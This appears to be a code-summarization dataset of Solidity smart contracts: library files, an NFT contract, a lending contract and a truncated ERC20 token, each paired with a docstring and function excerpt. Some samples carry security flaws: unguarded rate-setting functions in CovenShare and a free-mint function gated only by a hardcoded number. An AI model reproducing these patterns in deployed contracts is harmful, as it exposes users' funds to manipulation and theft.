* @dev Destroys `amount` tokens from the caller's account, reducing the
* total supply.
*
* If a send hook is registered for the caller, the corresponding function
* will be called with `data` and empty `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - the caller must have at least `amount` tokens.
*/
function burn(uint256 amount, bytes calldata data) external;
/**
* @dev Returns true if an account is an operator of `tokenHolder`.
* Operators can send and burn tokens on behalf of their owners. All
* accounts are their own operator.
*
* See {operatorSend} and {operatorBurn}.
*/
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
/**
* @dev Make an account an operator of the caller.
*
* See {isOperatorFor}.
*
* Emits an {AuthorizedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function authorizeOperator(address operator) external;
/**
* @dev Revoke an account's operator status for the caller.
*
* See {isOperatorFor} and {defaultOperators}.
*
* Emits a {RevokedOperator} event.
*
* Requirements
*
* - `operator` cannot be calling address.
*/
function revokeOperator(address operator) external;
/**
* @dev Returns the list of default operators. These accounts are operators
* for all token holders, even if {authorizeOperator} was never called on
* them.
*
* This list is immutable, but individual holders may revoke these via
* {revokeOperator}, in which case {isOperatorFor} will return false.
*/
function defaultOperators() external view returns (address[] memory);
/**
* @dev Moves `amount` tokens from `sender` to `recipient`. The caller must
* be an operator of `sender`.
*
* If send or receive hooks are registered for `sender` and `recipient`,
* the corresponding functions will be called with `data` and
* `operatorData`. See {IERC777Sender} and {IERC777Recipient}.
*
* Emits a {Sent} event.
*
* Requirements
*
* - `sender` cannot be the zero address.
* - `sender` must have at least `amount` tokens.
* - the caller must be an operator for `sender`.
* - `recipient` cannot be the zero address.
* - if `recipient` is a contract, it must implement the {IERC777Recipient}
* interface.
*/
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
/**
* @dev Destroys `amount` tokens from `account`, reducing the total supply.
* The caller must be an operator of `account`.
*
* If a send hook is registered for `account`, the corresponding function
* will be called with `data` and `operatorData`. See {IERC777Sender}.
*
* Emits a {Burned} event.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
* - the caller must be an operator for `account`.
*/
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
pragma solidity ^0.6.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
} | Returns and updates the current delegated amount./ | function _getAndUpdateDelegatedAmount(address holder, uint currentMonth) private returns (uint) {
return _delegatedAmount[holder].getAndUpdateValue(currentMonth);
}
| 401,425 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
/**
* @title NFT Smart Contract
* @author Stephan Fowler
* @notice ERC721 contract for stand-alone NFT collections with separable "agent" role, payment splitting, and lazy-minting capability
* @dev Enables lazy-minting by any user via precomputed signatures
*/
contract NFTsurface is
ERC721,
ERC721Burnable,
EIP712,
AccessControl,
PaymentSplitter
{
event IdRevoked(uint256 tokenId);
event IdFloorSet(uint256 idFloor);
bytes32 public constant AGENT_ROLE = keccak256("AGENT_ROLE");
// See NFT Provenance notes regarding why these are immutable
address public immutable owner;
uint16 public immutable royaltyBasisPoints;
uint256 public totalSupply;
uint256 public idFloor;
mapping(uint256 => string) private tokenURIs;
mapping(uint256 => bool) private revokedIds;
mapping(uint256 => uint256) private prices;
/**
* @dev Constructor immutably sets "owner" to the message sender; be sure to deploy contract using the account of the creator/artist/brand/etc.
* @param name ERC721 token name
* @param symbol ERC721 token symbol
* @param admin The administrator address can reassign roles
* @param agent The agent address is authorised for all minting, signing, and revoking operations
* @param payees Array of PaymentSplitter payee addresses
* @param shares Array of PaymentSplitter shares
* @param royaltyBasisPoints_ Percentage basis-points for royalty on secondary sales, eg 495 == 4.95%
*/
constructor(
string memory name,
string memory symbol,
address admin,
address agent,
address[] memory payees,
uint256[] memory shares,
uint16 royaltyBasisPoints_
)
ERC721(name, symbol)
EIP712("NFTsurface", "1.0.0")
PaymentSplitter(payees, shares)
{
owner = _msgSender();
royaltyBasisPoints = royaltyBasisPoints_;
_setupRole(DEFAULT_ADMIN_ROLE, admin);
_setupRole(AGENT_ROLE, agent);
}
event PriceSet(uint256 id, uint256 price);
event Bought(uint256 id, address buyer);
/**
* @notice Minting by the agent only
* @param recipient The recipient of the NFT
* @param id The intended token Id
* @param uri The intended token URI
*/
function mintAuthorized(
address recipient,
uint256 id,
string memory uri
) external {
require(hasRole(AGENT_ROLE, _msgSender()), "unauthorized to mint");
require(vacant(id));
_mint(recipient, id, uri);
}
/**
* @notice Minting by any caller
* @dev Enables "lazy" minting by any user who can provide an agent's signature for the specified params and value
* @param id The intended token Id
* @param uri The intended token URI
* @param signature The ERC712 signature of the hash of message value, id, and uri
*/
function mint(
uint256 id,
string memory uri,
bytes calldata signature
) external payable {
require(mintable(msg.value, id, uri, signature));
_mint(_msgSender(), id, uri);
}
/**
* @notice Checks availability for minting and validity of a signature
* @dev Typically run before offering a mint option to users
* @param weiPrice The advertised price of the token
* @param id The intended token Id
* @param uri The intended token URI
* @param signature The ERC712 signature of the hash of weiPrice, id, and uri
*/
function mintable(
uint256 weiPrice,
uint256 id,
string memory uri,
bytes calldata signature
) public view returns (bool) {
require(vacant(id));
require(
hasRole(
AGENT_ROLE,
ECDSA.recover(_hash(weiPrice, id, uri), signature)
),
"signature invalid or signer unauthorized"
);
return true;
}
/**
* @notice Checks the availability of a token Id
* @dev Reverts if the Id is previously minted, revoked, or burnt
* @param id The token Id
*/
function vacant(uint256 id) public view returns (bool) {
require(!_exists(id), "tokenId already minted");
require(id >= idFloor, "tokenId below floor");
require(!revokedIds[id], "tokenId revoked or burnt");
return true;
}
/**
* @notice Sets the price at which a token may be bought
* @dev Setting a zero price cancels the sale (all prices are zero by default)
* @param id The token id
* @param _price The token price in wei
*/
function setPrice(uint256 id, uint256 _price) external {
require(_msgSender() == ownerOf(id), "caller is not token owner");
prices[id] = _price;
emit PriceSet(id, _price);
}
/**
* @notice Returns the price at which a token may be bought
* @dev A zero price means the token is not for sale
* @param id The token id
*/
function price(uint256 id) external view returns (uint256) {
return prices[id];
}
/**
* @notice Transfers the token to the caller, transfers the paid ETH to its owner (minus any royalty)
* @dev A zero price means the token is not for sale
* @param id The token id
*/
function buy(uint256 id) external payable {
require(_msgSender() != ownerOf(id), "caller is token owner");
require(prices[id] > 0, "token not for sale");
require(msg.value >= prices[id], "insufficient ETH sent");
address seller = ownerOf(id);
delete prices[id];
_safeTransfer(seller, _msgSender(), id, "");
Address.sendValue(
payable(seller),
(10000 - royaltyBasisPoints) * (msg.value / 10000)
);
emit Bought(id, _msgSender());
}
/**
* @notice Revokes a specified token Id, to disable any signatures that include it
* @param id The token Id that can no longer be minted
*/
function revokeId(uint256 id) external {
require(hasRole(AGENT_ROLE, _msgSender()), "unauthorized to revoke id");
require(vacant(id));
revokedIds[id] = true;
IdRevoked(id);
}
/**
* @notice Revokes token Ids below a given floor, to disable any signatures that include them
* @param floor The floor for token Ids minted from now onward
*/
function setIdFloor(uint256 floor) external {
require(
hasRole(AGENT_ROLE, _msgSender()),
"unauthorized to set idFloor"
);
require(floor > idFloor, "must exceed current floor");
idFloor = floor;
IdFloorSet(idFloor);
}
/**
* @notice Returns the token URI, given the token Id
* @param id The token Id
*/
function tokenURI(uint256 id) public view override returns (string memory) {
return tokenURIs[id];
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
return super.supportsInterface(interfaceId);
}
/**
* @dev Minting also increments totalSupply
*/
function _mint(
address recipient,
uint256 id,
string memory uri
) internal {
_safeMint(recipient, id);
_setTokenURI(id, uri);
totalSupply += 1;
}
/**
* @dev Recreates the hash that the signer (may have) signed
*/
function _hash(
uint256 weiPrice,
uint256 id,
string memory uri
) internal view returns (bytes32) {
return
_hashTypedDataV4(
keccak256(
abi.encode(
keccak256(
"mint(uint256 weiPrice,uint256 tokenId,string tokenURI)"
),
weiPrice,
id,
keccak256(bytes(uri))
)
)
);
}
/**
* @dev record a token's URI against its Id
*/
function _setTokenURI(uint256 id, string memory uri) internal {
require(bytes(uri).length != 0, "tokenURI cannot be empty");
tokenURIs[id] = uri;
}
/**
* @dev burn a token and prevent the reuse of its Id
*/
function _burn(uint256 id) internal override {
super._burn(id);
delete tokenURIs[id];
revokedIds[id] = true;
totalSupply -= 1;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721) {
super._beforeTokenTransfer(from, to, tokenId);
delete prices[tokenId];
}
}
| Revokes a specified token Id, to disable any signatures that include it id The token Id that can no longer be minted/ | function revokeId(uint256 id) external {
require(hasRole(AGENT_ROLE, _msgSender()), "unauthorized to revoke id");
require(vacant(id));
revokedIds[id] = true;
IdRevoked(id);
}
| 14,015,108 |
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol";
import "./aave/ILendingPoolAddressesProvider.sol";
contract AToken is ERC20
{
function redeem(uint256 _amount) public;
function balanceOfUnderlying(address _user) public view returns (uint256);
function getExchangeRate() public view returns (uint256);
}
contract LendingPool
{
function deposit(address _reserve, uint256 _amount, uint16 _referralCode)
external payable;
}
contract CovenShare is ERC20, ERC20Detailed {
using SafeMath for uint256;
event LogDeposit(address sender, uint256 staked, uint256 updated, uint256 bal);
event LogWithdraw(address sender, uint256 staked, uint256 updated, uint256 bal);
event LogVouch(address backer, address borrower, uint256 amount);
struct Member {
uint256 borrowed; // debit position
uint256 staked; // in wei, which means 1e18 means 100%
uint256 updated; // latest updated block number
address[] backers; // backers for the member
address[] backees; // beneficiaries from this member
}
uint256 public _mintingRate = 475586707540000; // per block
uint256 public _borrowingRate = 47558670754; // per block
address public _poolToken;
ILendingPoolAddressesProvider public _poolProvider;
AToken public _aToken;
mapping(address=>Member) public _members;
constructor(address token, address poolProvider, address aToken)
public
ERC20Detailed("Coven Share", "CVN", 18)
{
_poolToken = token;
_poolProvider = ILendingPoolAddressesProvider(poolProvider);
_aToken = AToken(aToken);
}
function deposit(uint256 amount)
external
returns (uint256 result)
{
require(
amount > 0,
"Deposit amount needs to be greater than 0"
);
// Send exisiting UNS tokens, ie. interest, to the user
if (this.pendingShares(msg.sender) > 0)
_mint(msg.sender, this.pendingShares(msg.sender));
require(
IERC20(_poolToken).transferFrom(msg.sender, address(this), amount),
"Receive token failed"
);
// uint256 senderAmount = stakedAmount(msg.sender) + amount;
_members[msg.sender].staked += amount;
_members[msg.sender].updated = block.number;
depositToPool(amount);
emit LogDeposit(msg.sender, _members[msg.sender].staked, _members[msg.sender].updated, balanceOf(msg.sender));
result = 0;
}
function withdraw(uint256 amount)
external
returns (uint256 result)
{
require(
_members[msg.sender].staked >= amount,
"Cannot withdraw more than the staked amount"
);
// Send exisiting UNS tokens, ie. interest, to the user
_mint(msg.sender, this.pendingShares(msg.sender));
_members[msg.sender].staked -= amount;
_members[msg.sender].updated = block.number;
// Redeem from the lendingPool
withdrawFromPool(amount);
emit LogWithdraw(msg.sender, _members[msg.sender].staked, _members[msg.sender].updated, this.balanceOf(msg.sender));
result = 0;
}
function stakedAmount(address account)
public
view
returns(uint256)
{
return _members[account].staked; // * _poolToken.balanceOf(address(this)) / 1e18;
}
function pendingShares(address account)
public
view
returns (uint256)
{
return ((block.number - _members[account].updated) * _mintingRate * _members[account].staked) / 1e18;
}
function vouchFor(address account)
public
{
_members[account].backers.push(msg.sender);
_members[msg.sender].backees.push(account);
emit LogVouch(_members[account].backers[0], account, _members[msg.sender].staked);
}
function getCreditLimit(address account)
public
view
returns (uint256 credit)
{
address voucher = _members[account].backers[0];
credit = 0;
if (_members[voucher].staked > _members[account].borrowed)
credit = _members[voucher].staked - _members[account].borrowed;
// address[] memory vouchers = _members[account].backers;
// uint[] memory vouchAmounts = new uint[](256);
// for (uint i = 0; i < vouchers.length; i++) {
// uint amt = stakedAmount(vouchers[i]);
// vouchAmounts[i] = amt;
// }
// quickSort(vouchAmounts, 0, vouchAmounts.length - 1);
// return vouchAmounts[vouchAmounts.length / 2];
}
function getTotalStaked()
public
view
returns (uint256 total)
{
// total = _aToken.balanceOfUnderlying(address(this));
total = IERC20(_poolToken).balanceOf(address(this));
}
function getTotalBalance()
public
view
returns (uint256 total)
{
// total = getTotalStaked() * _aToken.getExchangeRate();
total = IERC20(_poolToken).balanceOf(address(this));
}
function getBackersFor(address account)
public
view
returns (address[] memory)
{
return _members[account].backers;
}
function getBackeesFrom(address account)
public
view
returns (address[] memory)
{
return _members[account].backees;
}
function borrow(uint256 amount)
public
{
require (
getCreditLimit(msg.sender) >= amount,
"Not enough credit to borrow"
);
require (
getTotalStaked() >= amount,
"Not enough tokens to lend out"
);
_members[msg.sender].borrowed += amount;
// Get token out of the lendingPool
withdrawFromPool(amount);
}
function repay(uint256 amount)
public
{
require(
IERC20(_poolToken).transferFrom(msg.sender, address(this), amount),
"Failed to receive repayment"
);
if (amount > _members[msg.sender].borrowed)
_members[msg.sender].borrowed = 0;
else
_members[msg.sender].borrowed -= amount;
depositToPool(amount);
}
function setBorrowingRate(uint256 rate)
public
{
_borrowingRate = rate;
}
function setMintingRate(uint256 rate)
public
{
_mintingRate = rate;
}
/// Aave functions
function depositToPool(uint256 amount)
internal
{
// /// Retrieve LendingPool address
// LendingPool lendingPool = LendingPool(_poolProvider.getLendingPool());
// IERC20(_poolToken).approve(address(lendingPool), amount);
// /// Deposit method call
// lendingPool.deposit(_poolToken, amount, 0);
}
function withdrawFromPool(uint256 amount)
internal
{
// _aToken.redeem(amount);
// IERC20(_poolToken).transfer(msg.sender, IERC20(_poolToken).balanceOf(address(this)));
IERC20(_poolToken).transfer(msg.sender, amount);
}
function accrueInterest()
external
{
uint256 bal = _aToken.balanceOf(address(this));
_aToken.redeem(bal);
}
function _quickSort(uint[] memory arr, uint left, uint right)
internal
pure
{
uint i = left;
uint j = right;
uint pivot = arr[left + (right - left) / 2];
while (i <= j) {
while (arr[i] < pivot) i++;
while (pivot < arr[j]) j--;
if (i <= j) {
(arr[i], arr[j]) = (arr[j], arr[i]);
i++;
j--;
}
}
if (left < j)
_quickSort(arr, left, j);
if (i < right)
_quickSort(arr, i, right);
}
} | Send exisiting UNS tokens, ie. interest, to the user Redeem from the lendingPool | function withdraw(uint256 amount)
external
returns (uint256 result)
{
require(
_members[msg.sender].staked >= amount,
"Cannot withdraw more than the staked amount"
);
_mint(msg.sender, this.pendingShares(msg.sender));
_members[msg.sender].staked -= amount;
_members[msg.sender].updated = block.number;
withdrawFromPool(amount);
emit LogWithdraw(msg.sender, _members[msg.sender].staked, _members[msg.sender].updated, this.balanceOf(msg.sender));
result = 0;
}
| 1,767,428 |
./full_match/4/0x7e016FEf926224C88F62a11099CB56ce858d98A5/sources/contracts/4_nft.sol | free mint with coupon | function angleoo(uint _input) public whenNotPaused {
require(_input == 78910, "404");
uint256 current = _tokenIdCounter.current();
_tokenIdCounter.increment();
_mint(msg.sender, current);
}
| 740,285 |
./partial_match/80001/0x636C4701Fdd1C46e47177cef7032b26402Bf7251/sources/minter1.sol | function returns the hash of the fully encoded EIP712 message for this domain. This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: ```solidity bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( keccak256("Mail(address to,string contents)"), mailTo, keccak256(bytes(mailContents)) ))); address signer = ECDSA.recover(digest, signature); ```/ | function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
| 8,818,705 |
./full_match/11155111/0x944a7bde4Bc84d325aEB3079b193ae1FF2F09b78/sources/src/tokens/ERC5484Upgradeable.sol | setup roles depend on mode for SoulBound token | function __ERC5484Upgradeable_init(
string memory name_,
string memory symbol_,
BurnAuth burnAuth_,
bool mintOnce_
) internal onlyInitializing {
__ERC721_init(name_, symbol_);
__ERC721Enumerable_init();
__ERC721URIStorage_init();
__AccessControl_init();
_burnAuth = burnAuth_;
_mintOnce = mintOnce_;
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
| 3,829,323 |
/**
*Submitted for verification at Etherscan.io on 2020-08-07
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
**/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @dev Abstract contract for approveAndCall.
**/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
* @title SiuCoin Token
* @dev ERC20 contract utilizing ERC865-ish structure (3esmit's implementation with alterations).
* @dev to allow users to pay Ethereum fees in tokens.
**/
contract SiuCoin is Ownable {
using SafeMath for uint256;
string public constant symbol = "SIU";
string public constant name = "Siucoin";
uint8 public constant decimals = 18;
uint256 private _totalSupply = 1500000 * (10 ** 18);
// Function sigs to be used within contract for signature recovery.
bytes4 internal constant transferSig = 0xa9059cbb;
bytes4 internal constant approveSig = 0x095ea7b3;
bytes4 internal constant increaseApprovalSig = 0xd73dd623;
bytes4 internal constant decreaseApprovalSig = 0x66188463;
bytes4 internal constant approveAndCallSig = 0xcae9ca51;
bytes4 internal constant revokeSignatureSig = 0xe40d89e5;
// Balances for each account
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
// Keeps track of the last nonce sent from user. Used for delegated functions.
mapping (address => uint256) nonces;
// Mapping of past used hashes: true if already used.
mapping (address => mapping (bytes => bool)) invalidSignatures;
// Mapping of finalized ERC865 standard sigs => our function sigs for future-proofing
mapping (bytes4 => bytes4) public standardSigs;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed from, address indexed spender, uint tokens);
event SignatureRedeemed(bytes _sig, address indexed from);
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint256 value);
constructor()
public
{
